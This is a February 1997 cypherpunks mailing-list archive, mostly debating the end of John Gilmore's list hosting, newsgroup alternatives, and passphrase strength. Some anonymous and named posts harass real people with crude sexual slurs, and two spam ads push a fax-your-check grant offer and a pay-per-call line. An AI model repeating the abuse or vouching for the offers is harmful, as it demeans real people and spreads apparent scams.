Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 11 Feb 1997 09:46:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spamming the list
Message-ID: <199702111742.JAA23513@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


When Derogatory Virus K]ankersore[OfTheMoment's mother gave birth to
him after fucking with a bunch of sailors, she didn't know who the
father was but decided to tell him that he was a Russian as the
Russian sailor was the one who satisfied her the most.

          o/ Derogatory Virus K]ankersore[OfTheMoment
         <|
         / >






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 10:02:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Suggestion for the future of the list
Message-ID: <3.0.32.19970211100117.006eea18@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


o Make the list a newsgroup "alt.cypherpunks". This will alleviate any
concerns about one party taking control of the list. Good filters exist and
the newsgroup can be read via Deja News, etc.

o For those using remailers or those unable to post to newsgroups, create a
mail-to-news gateway at cypherpunks@toad.com.

OK, how will take the fist step and newsgroup alt.cypherpunks?





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: antony@mail99.com
Date: Tue, 11 Feb 1997 11:04:00 -0800 (PST)
To: antony@mail99.com
Subject: FREE CASH GRANTS
Message-ID: <199702111811.KAA13656@belize.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


We Have Over 150 Private Foundations In Our Program All Over the
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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$10.00:   Total  $_______

TO EXPEDITE, FAX TO (619) 682-1021  We also accept checks by fax!
Simply tape your checks on the bottom and fax!! It's that easy!! After
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(For check payments, tape check to the bottom and fax)

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or MAIL TO:

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Please match my financial needs & requirements with the most suitable
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> 



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PO Box 15131
San Diego, CA 92175
(619) 685-5550 Office 	
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


----------------------- Headers --------------------------------
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From: antony@mail99.com 
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Date: Mon, 10 Feb 1997 13:02:42 +0000 
MIME-Version: 1.0 
Content-type: text/plain; charset=US-ASCII 
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Subject:  FREE CASH GRANTS 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Tue, 11 Feb 1997 08:46:39 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <vpbu9r9tqj.fsf@grendel.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Sandy has agreed to continue moderation through the end of the
JG> original 1-month experiment (through Feb 19).  And it's a good
JG> thing, too, because the "cypherpunks community" had better get off
JG> its whining butt in the next ten days, or it will no longer exist.

[...]

JG> This is a "put up or shut up" to the cypherpunks community.

	This appears to be as good a time as any to announce that I'm
"putting up".  I've already taken steps, along with Jim Choate, to
start a network of majordomos hosting a Cypherpunks mailing list.  I
didn't intend to announce this until Jim and I had gotten the first
pair of 'domos working properly, but this means that we'll need to
speed things up.  Our intention is to have a set of majordomos which
are intersubscribed to a cypherpunks list on each one, with measures
taken to ensure that mail loops don't develop.  As the resulting
mailing list from each 'domo will be identical, periodically
(initially weekly), the subscriber lists of all of the participating
majordomos will be compared, with any duplicate subscribers being
removed from the 'domo(s) with the longest subscriber list.  There
will be no filtering done of any mail to the collective list, although
anyone interested in providing a filtered list will be welcome to
subscribe to the list.  Anyone interested in joining the 'domo network
with the conditions described (duplicate subscriber checking and no
filtering) is welcome.

	John, I'd appreciate your permission to use your Cypherpunks
welcome message as the basis for the welcome message of this new list.
Also, while we will make every effort to have this new list available
for subscriptions by Feb 20, I'd appreciate it if you could consider
making the current list available for a short period longer if we
encounter unanticipated difficulties.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 11 Feb 1997 08:48:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital Signature Legislation (MN)
Message-ID: <3300a2cc0a96002@noc.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Minnesota Legislature has a bill pending in both houses regarding
digital signatures, defines certification authorities, and provides
for licensing of authorities.

http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=ls80
http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=ls80

A quick read looks good, although I am not a lawyer. This only affects
digital signatures used in financial transactions, AFAIK, and does
not prohibit non-licensed cert authorities.


-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 11 Feb 1997 10:56:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cocksucker Gilmore's Big Adventure
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <199702111854.KAA28289@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

 > Sandy hit a pothole in the moderation experiment when Mr.
 > Nemesis submitted a posting containing nothing but libelous
 > statements about Sandy's employer.  He never anticipated
 > that he wouldn't be able to follow his announced "post it to
 > one list or the other" policy because to do so would make
 > him legally liable (in his opinion; he's a lawyer, I'm not).
 > His gears jammed, and the whole machine came to a halt for a
 > few days.

A person who has a fiduciary responsiblity to act in the best
interests of some corporate entity should not be moderating a
mailing list where said entity and its various products might be
discussed.

This is called "conflict of interest." Your eagerness to leap
into moderated mode by fiat would better have been preceeded by
one or two clues.  But then, if you were a particularly clueful
person, you would not have made a fool of yourself by forcibly
unsuscriving Dr. Vulis in the first place, and precipitating the
chain of events that resulted in the current meltdown.

 > Sandy has agreed to continue moderation through the end of the
 > original 1-month experiment (through Feb 19).  And it's a good
 > thing, too, because the "cypherpunks community" had better get
 > off its whining butt in the next ten days, or it will no longer
 > exist.

Ten days notice to relocate a high volume mailing list is
insufficient.  This is yet another ultimatum by a whining coward
who does not yet realize he is in a battle he is not going to win
by escalation of reciprocal pissing.

 > I've come to the conclusion that I'm not willing to host the
 > cypherpunks list any more.

And we've all come to the conclusion that you are a flaming prat
prone to irate temper tantrums.  Big surprise.

You know, I've always been a big non-fan of John Gilmore.  I know
you're the co-founder of the EFF and the alt Usenet hierarchy,
and a well-known and respected mouthpiece on the topics of
communications policy, censorship, privacy, and free speech in
certain circles.

But almost every single piece of private communication I've seen
from you has given me the impression that you are an arrogant
self-centered nasty little excuse for a man, unwilling to listen
to any opinion that doesn't agree with your own, and quite
willing to heap any amount of ridicule and derision on
dissenters, while trying at the same time to blame them for your
behavior.

In short, a person I would avoid like the plague in real life,
and tolerate only rarely through the insulation of an IP
connection.

 > A large fraction of the list seems to think that "freedom
 > of speech" means that everyone is required to listen to
 > everyone else at all times.  That there can't be focused,
 > topical conversations in a society that has freedom of
 > speech.

Speak for yourself, John.  You obviously have no idea what or who
"Cypherpunks" are, and you are the last person on the face of the
earth who should be making proclamations about what "a large
fraction of the list" thinks.

 > There also seems to be a misunderstanding that freedom of
 > speech requires that people who want to speak already have a
 > place, set up and maintained by someone else, for them to
 > speak in.  If someone who's set up a speech-place decides it
 > isn't being used for its intended purpose, then they are a
 > censor, stopping all possibility of conversations.

There is a fundamental difference between choosing not to provide
a forum for someone to speak in, and in providing a forum for a
long period of time and then deciding one day to kick the podium
out from under the speaker in mid-sentence, or to edit the
speakers comments before distributing them.

 > Either you list denizens will, among yourselves, put in the
 > energy to build a new home for the list (and run it in
 > whatever way your volunteers want) by Feb 20, or the list
 > will cease to exist on Feb 20.

Gilmore the little dictator speaks again.

 > Sandy reports that he's changing his criteria for
 > moderation for the remainder of the experiment.  It was his
 > idea, and I approve.  The criteria now are:

Another sudden change in the topic of the list by fiat with no
discussion possible.  You should be ashamed of yourself for even
attaching the name "Cypherpunks" to this travesty of yours.  Why
not change the name to GilmorePunks, CocksuckerPunks, ToadyPunks,
or something more descriptive?

 > For me it's a sad thing that the community's willingness to
 > pull together has degenerated to the point where I feel
 > better off separating from the list.  I hope that others in
 > the community will create one or several alternatives that
 > work better.

Piffle.

 > John ["Cocksucker"] Gilmore

Your reputation capital is into the negative numbers now.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 11 Feb 1997 08:01:37 -0800 (PST)
To: jer+@andrew.cmu.edu (Jeremiah A Blatz)
Subject: Re: Passphrase generation
In-Reply-To: <199702111426.GAA19838@toad.com>
Message-ID: <199702111558.KAA01013@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


You want to think about how does someone attack the passphrase?

Essentially, there are dictionary methods, where probably passphrasess
are checked.  These are enhanced by the use of changers, where the
word is modified in ways common to people changing passwords:

target
Target
targeT
target0
0target
target1

Crack, by Alex Muffet, produces on the order of 1000 derived words per
word its given.

I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on
the floor.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| Internaut <unde0275@frank.mtsu.edu> writes:
| > Hi,
| > I am wanting to learn how to generate a passphrase that is at least as
| > strong as the IDEA algorithm.  I have looked several other places on the
| > web for an answer to this, but they all had different things to say that
| > didn't add up (no pun intended :).
| 
| Chech out the cannonical passphrase FAQ:
| http://www.stack.nl/~galactus/remailers/passphrase-faq.html
| 
| This one has some quick reminders of what to do and not to do
| http://www.encryption.com/pphrase.htm
| 
| Bottom line, totally random ASCII will have lots of bits per
| character, but english has about 1.2 bits per character. Misspellings
| can add to that, depending on the extent of mutillation . Combining
| certain words can make your passphrase weaker (such as "To be or not
| to be," "This is my passphrase," etc.).
| 
| HTH,
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Tue, 11 Feb 1997 10:26:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pending Attack on Mailmasher and Pseudonymous Posting
Message-ID: <199702111824.LAA20739@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


One of the denizens from alt.flame (wotan@databasix.com / wotan@netcom.com) 
is on a personal crusade to get the Mailmasher pseudonym server shut down, 
claiming that it was "abused" by accepting "forgeries".  As you'll recall, 
the pretext of "abuse" was conveniently used my the CoS to get several 
remailers shut down.

Let's not let the enemies of privacy win this one!  Here's how William
McClatchey, aka "Wotan", concluded his post:

> Well, I was nice and polite when the forgeries began.  I sent toxic a 
> nice message asking that he disable the abitlity to forge wotan@databasix 
> and wotan@netcom.  That appears to be too hard for him.  He gets his 
> access from mci.
>
> I encourage anyone who is being forged due to the deliberate negligence 
> on toxic's part to write hotwired and MCI asking that mailmasher be shut 
> down until it can longer be used to commit forgeries.

Mr. McClatchey (Wotan) is certainly well aware that you can't detect 
"forgeries" without positive proof of a person's identity, which would defeat 
the entire purpose of posting anonymously/pseudonymously.  And to "disable the 
ability to forge" e-mail addresses is well beyond the scope of Mailmasher, 
since it's as easy to do as changing the settings in Netscape, Eudora, etc.  
His demands are like asking the USPS to make sure that the return address you 
put on each envelope you mail is your own!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Feb 1997 21:31:03 -0800 (PST)
To: softwinter@post1.com (SoftWinter)
Subject: Re: Shade Disk Encryptor for NT Registration key
In-Reply-To: <199702111903.VAA06693@csts.co.il>
Message-ID: <3.0.1.32.19970211113553.00681938@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>SoftWinter Support
>softwinter@post1.com
>http://softwinter.bitbucket.co.il

Shade looks like an interesting product,
and anything that fits into 64K these days
(even if that is the size of the zip file) deserves some respect :-)

For cypherpunks - it's using MDC as its crypto algorithm,
with 160-bit SHA as the hash.  I can't tell if that's the original
SHA or the revised SHA-1.  The readme.txt is adapted from Peter
Gutmann's MDC documentation.   The demo version runs for 21 days,
and doesn't do encryption, so perhaps the real thing is a bit larger.
List price is $149 US.

I couldn't get it to run - I'm using NT 3.51, which you haven't tested
it on, rather than NT 4.0; it complained about not being able to find
Image_List_SetImageCnt in COMCTL32.dll or something like that.
Perhaps that's related to not having installation instructions with the demo?
there's a SecDisk.sys that looks like it wants something done with it...
Or perhaps it's just a 3.51 vs. 4.0 difference.  Oh, well...

	> Shade allows you to create encrypted disk device inside a file.
	> Such a device can then be formated using any file system
	> (like NTFS or FAT) and used as a regular disk. The only difference
	> is that Shade will encrypt the data on every write operation
	> and decrypt it on every read operation.

I assume it's possible to use this for TEMP directories for
applications like word processors.  I'm not sure I'd want to use
it for swap, but do you know if that would work?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 08:45:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: STE_pup
Message-ID: <1.5.4.32.19970211163947.006cc8bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97:

"Euro's creation raises money laundering fears"

  OECD task force report(*) identifies perils of a
  single currency and suggests Russian crime groups
  are linking up with the Mafia and Colombian drug
  cartels for laundering the new currency. Warns of other
  e-cash hazards.

"Visa to Test Cards For Possible Use On the Internet"

  E-cash cards to be manufactured by Schlumberger and
  will use  "virtually unbreakable" public-key cryptography.

"Computer Security Becomes Biometric With Print Matching"

  Oracle's new fingerprint checking device to assure bona fide
  log-on privileges. Covers other such devices, quotes a maker:
  "if criminals or hackers get through these, industry will
  step up one more level."

-----

STE_pup

* A search is on for the report. Leads welcomed. The task force
met last week in Paris.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 11:42:21 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <v03007805af267b48b589@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
>If the people decide for creation of a new USENET newsgroup,
>we need to think very hard about actually moving it to a different
>hierarchy from alt.*. I would propose comp.org.cypherpunks,
>comp.cypherpunks, sci.crypt.cypherpunks or something like that.
>
>A comp.* or sci.* newsgroup, if created, has the following advantages
>over an alt.* newsgroup:
>
>1) There is usually less spam in sci.* or comp.*
>2) There are virtually no completely irrelevant flamewars
>3) The propagation will be a lot better
>4) More people will be able to read it because of the issue of providers
>   not carrying alt.*.
>
>I see nothing that would make a sci.* or comp.* newsgroup  worse than
>alt.* newsgroup.

Sure, and this has come up in every past discussion of creating
"alt.cypherpunks."

But the creation of alt.cypherpunks is _easy_, and needs little permission
or support, whereas the creation of "soc.culture.cypherpunks" or whatever
takes work, requires a vote, blah blah blah. And so it never gets off the
ground.

(Nor is it clear to me, and perhaps not to others, that it belongs in the
the various places Igor mentioned. Comp.org.cypherpunks probably is the
best fit, but then many would cite the "comp" part to try to insist that
only _computer_ topics be discussed. Likewise, the "soc" domain would skew
discussion...etc. "Alt" has the nice advantage of explicitly not be part of
sci, or comp, or soc, or even talk.)

Since posting my comments I've just seen the proposal that tivoli may host
a list. Fine with me. But I wonder how long Tivoli and its parent company,
IBM, will tolerate such things as postings of dumpster divings at Mykotronx
and RSADSI, of deliberate slams against Tivoli products (a la the case John
Gilmore referred to this morning), postings about assassination markets,
and so on.

I still feel that the time has come to move virtual forums such as ours out
of U.S. jurisdictions. Given that most European nations are worse in some
ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
recommend the alt.cypherpunks as the best overall compromise.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 11 Feb 1997 11:49:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <199702111949.LAA27190@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May is just a poor excuse for an unschooled, 
retarded thug.

      <o      o>  Tim C[ocksucker] May
      /-+-- --+X
     />        <\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 11:56:34 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <v03007806af267e566d3d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:

>    tim:
>
>    two points you make:
>
>    1.  the propogation is slow...
>
>    2.  some sites do not carry alt. groups
>
>    are enough to kill an active discussion list. of course, it does
>    slow down excessive volume.

Good points. However, I'm used to fairly robust debate on Usenet, and the
prop delay does not seem too stifling to me. As you note, it cuts down on
immediate replies; this may not be a bad thing.

I see any site which can be identified with a corporate or institutional
entity--like C2Net, toad, Tivoli, Primenet, Netcom, whatever--being
targetted if a controversial mailing list is hosted at that site.

(This may not have been the case when the list was full unmoderated, and
was only a "reflector" or exploder of incoming messages. As soon as a
moderator started passing on some messages and rejecting others, the
precedent was set (somewhat) for charges that a site or sysadmin is now
liable. This has not been tested in court, of course, but I fear this is
how things will go. As I mentioned in another message, had the traffic in
alt.religion.scientology instead flowed through a site such as
"scientology@primenet.com," the operators of Primenet and the sysadmin of
that mailing list almost certainly would have received "decease and cyst"
orders. Remember that Netcom was hit with similar orders. Usenet cannot be
stopped in this way. A major strength.)



>    I vote we just set up a new majordomo with some additional antispam
>    filters including knocking out exploding mail headers, etc. I would
>    accept excluding non-members as long as we take the remailers which
>    are listed with either JP or RL.

This is a suggestion I have long thought to be a good one. Only allow posts
from list subscribers, and make a special exception for remailers by adding
them to the approval list. Figure if a spammer is smart enough to know what
a remailer is, at least see her traffic for a while. Drop the inclusion of
remailers if volume is too high.

(Or, put remailer messages in a special place. An ftp or Web site, for
retrieval. Or  have list members "vet" the remailed messages, as someone
was suggesting a few months back. Or....)

>    Likewise, Jim Choate and Sten Drescher apparently are trying to
>    establish a multi-site majordomo.  the extra work of maintaining
>    non-duplicates and sychronization makes the task non-trivial and
>    questionable...

Yeah, it seems to be one of those potentially good ideas that will just
never get done, due to the difficulties, the maintenance, and the press of
other projects. (And even if it gets done, which I hope for of course, I
doubt many of us will want anything with added complexity, new commands for
our posting software to deal with, etc. So, it will have to look just like
an ordinary mailing list, with the mirroring handled transparently.)

(Speculation: Isn't some of this talk about distributed mailing list sites
and mirroring beginning to echo the structure of FidoNet?)

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Tue, 11 Feb 1997 12:21:57 -0800 (PST)
To: "'Timothy C. May'" <cypherpunks@toad.com
Subject: RE: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <88CE23A0B727D0118BB000805FD47524DE137D@RED-81-MSG>
MIME-Version: 1.0
Content-Type: text/plain


From:	Timothy C. May

- no "unsuscribe" and "unscrive" messages! (It makes it easy for
newcomers
to discover the group, read it for a while, then stop. It also, of
course,
increases the number of "What is crypto?" sorts of messages.)
........................................

In regards to the newbie questions, it occurred to me that it would be
useful to have a FAQ, much shorter than the Cyphernomicon, which would
get some basic questions answered and contain many collected references
& web sites for all the other questions which typically have come up on
the list and would certainly show up in a newsgroup.

Maybe LD could be prevailed upon to write it (he's probably not occupied
doing anything useful, anyway).... :>)

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 10:38:53 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <33008CCE.28E0@gte.net>
Message-ID: <199702111829.MAA17650@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale, can you set up a mailing list server that will participate in the
distributed listserv network?

thank you

igor

Dale Thorn wrote:
> 
> John Gilmore wrote:
> > Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> > submitted a posting containing nothing but libelous statements about
> > Sandy's employer.  He never anticipated that he wouldn't be able to
> > follow his announced "post it to one list or the other" policy because
> > to do so would make him legally liable (in his opinion; he's a lawyer,
> > I'm not).  His gears jammed, and the whole machine came to a halt for
> > a few days.
> 
> Naturally he hit a pothole.  Censorship has its price, and you
> folks just discovered it.  But censors never give up, do they?
> Especially when there are hidden agendas.
> 
> > Sandy has agreed to continue moderation through the end of the
> > original 1-month experiment (through Feb 19).  And it's a good thing,
> > too, because the "cypherpunks community" had better get off its
> > whining butt in the next ten days, or it will no longer exist.
> 
> John Gilmore is so disrespectful of the human beings on this list
> that he whines and complains about their "attitudes", as though
> he had a right to control them.  What a jerk.
> 
> > I've come to the conclusion that I'm not willing to host the
> > cypherpunks list any more.  It's not the true assholes that brought me
> > to this decision; it's the reaction from the bulk of people on the
> > list: suspicion, flamage, and criticism with every attempt to improve
> > things.  I noticed few people volunteering some of their own time,
> > money, or machines to help out.  Almost all the suggestions were
> > advice for *other* people to implement:
> 
> Not willing because of some additional burden?  No.  It's because you
> were outed as a censor and a jerk, and you can't get back the respect
> you previously had.  The sour grapes you're displaying here are worthy
> of a little child, not an adult.
> 
> > Now each of these posters will get their chance to do it "right" --
> > on their own time and with their own resources.
> 
> Read: I'm gonna take my bat and ball and go home...
> 
> > A large fraction of the list seems to think that "freedom of speech"
> > means that everyone is required to listen to everyone else at all
> > times.  That there can't be focused, topical conversations in a
> > society that has freedom of speech.  I would say the opposite; part of
> > freedom of speech is the freedom to choose to whom we speak and to
> > whom we listen.  This is part of what cryptography does: lets us
> > control who can receive our speech, and lets recievers determine who
> > the speaker is.
> 
> Everything was fine until you decided to screw it up.  Then your
> emotional, denying little brain trys to blame it on everyone else.
> 
> > There also seems to be a misunderstanding that freedom of speech
> > requires that people who want to speak already have a place, set up
> > and maintained by someone else, for them to speak in.
> 
> There are places to speak, and people try to speak in those places.
> When they are cut off, then they complain.  Nobody complained before
> you had an open forum that you weren't providing same.  That's your
> denial kicking up, not mine.
> 
> > If someone
> > who's set up a speech-place decides it isn't being used for its
> > intended purpose, then they are a censor, stopping all possibility of
> > conversations.  Did you forget that there are millions of other places
> > to speak in cyberspace, millions more in realspace, and that you can
> > personally create more if you don't like any of the ones you know about?
> 
> Intended purpose?  Did you really believe that setting up an open
> forum gave you the right (or any option) to control the content?
> Are you so immature that you can't handle complaints?
> 
> > To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> > ass.  You think you're being censored when you're just being excluded
> > from a forum because what you're saying isn't interesting to that forum.
> 
> I know a lot of things, especially after they've bit be in the ass.
> Especially about censors and CIA-related trolls like yourself, who
> set up forums to collect info on unsuspecting American citizens.
> Made any "yeti" expeditions lately?
> 
> > So anyway, I'm tired of it all.  I'd much rather focus on getting my
> > crypto work done than babysitting majordomo, tracking down attempts to
> > subscribe the entire US Congress to the list, and debating the seventy
> > or eighty "obvious right ways" to handle the list.
> 
> Read: I need to find a new troll that's not being sabotaged by
> alert citizens.
> 
> > This is a "put up or shut up" to the cypherpunks community.
> > Either you list denizens will, among yourselves, put in the energy to
> > build a new home for the list (and run it in whatever way your
> > volunteers want) by Feb 20, or the list will cease to exist on Feb 20.
> 
> Jeez, do you have an ego or what?  Who died and made you the king?
> Your only claim to fame is your equipment that's hosting the list.
> Your reputation is in the toilet.  You're nobody.  In fact, you're
> less than nobody.  Your best bet would be to crawl into a hole and
> pull the dirt in over you.
> 
> > The next ten days of moderated discussion, through the end of the
> > original experiment, will give the community a chance to discuss
> > whether and where it plans to host the list after the experiment is
> > over.  My feeling is that the stalkers who have been trying to shut it
> > down (Dimitri, etc) will be out in full force, trying to disrupt the
> > process of finding a new home.  It would be very hard to make progress
> > along that line in an unmoderated list.  Cypherpunks-unedited readers
> > are welcome to try.
> 
> Yet another accusation that Dimitri's purpose is to "shut it down".
> The very fact that it's you who have the com puts the lie to that.
> 
> > Sandy reports that he's changing his criteria for moderation for the
> > remainder of the experiment.  It was his idea, and I approve.  The
> > criteria now are:
> 
> Another experiment run by the same incompetent bozo who screwed up
> the first experiment.  Don't you clowns ever get it?  You do, but
> then again, you have a hidden agenda.
> 
> >         *  The topics of the list are:
> >                 cryptography
> >                 setting up replacements for cypherpunks@toad.com
> >         *  On-topic, legal, posts will go to the list.
> >         *  Postings with any hint of legal liability (in Sandy's opinion)
> >            will be silently ignored.
> >         *  Legal but off-topic posts will go to cypherpunks-flames.
> > 
> > Sandy will apply these criteria retroactively to the backlog (of about
> > 140 messages), which means that most recent criticisms of the
> > moderation (which don't invove someone volunteering to do things for
> > the list) will go straight to the flames list.  If you don't like it,
> > I recommend that you start your own list.  Soon.
> > 
> > For me it's a sad thing that the community's willingness to pull
> > together has degenerated to the point where I feel better off
> > separating from the list.  I hope that others in the community will
> > create one or several alternatives that work better.
> 
> So you think you've fulfilled your obligation?  There's only one
> thing that will ever save you.  Get down on your knees and confess,
> saying to God and the list subscribers what a pathetic sinner you
> are, and beg for their forgiveness.  Then get to work for the people,
> and give up trolling for the feds.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: btrest@octonline.com
Date: Wed, 12 Feb 1997 12:20:35 -0800 (PST)
To: michelle@asda.net
Subject: Hi there...
Message-ID: <19355814803400@octonline.com>
MIME-Version: 1.0
Content-Type: text/plain


<<----------
Welcome to the Party Plus , where people from around the world come to
chat live!

Take a break from surfing with your modem.

No lost links and no lags...  Surf the Party Plus way!

Only long distance charges apply!

Pick up your phone, call, and experience a virtual party like you have
never experienced before!

Call 1+(664) 410-2595     1+(664) 410-2595     1+(664) 410-2595   
<<----------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 11 Feb 1997 12:57:24 -0800 (PST)
To: gnu@toad.com
Subject: re: Moderation experiment almost over; "put up or shut up"
Message-ID: <v03010d03af268bf784cb@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain


*** This is for Sandy and John, not for the list itself ***

Damn. Another example of the Tragedy of the Commons.

I'm sorry you decided to pull the plug -- but I fully understand your
reasoning. As I mentioned in an e-mail (and/or conversation a while back),
I'd be happy to help with the moderation as long as (a) it doesn't
prevent me from doing my "real" job and (b) we can figure out a solution
to the obvious logistics problems (I'm on a Mac, not a Unix box).

In any case, thanks to John and Sandy for all the hard work.

Martin.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 13:05:13 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Network of majordomos
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <3.0.1.32.19970211130922.0071b8f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:45 AM 2/11/97 -0600, Firebeard wrote:

>[...] I've already taken steps, along with Jim Choate, to
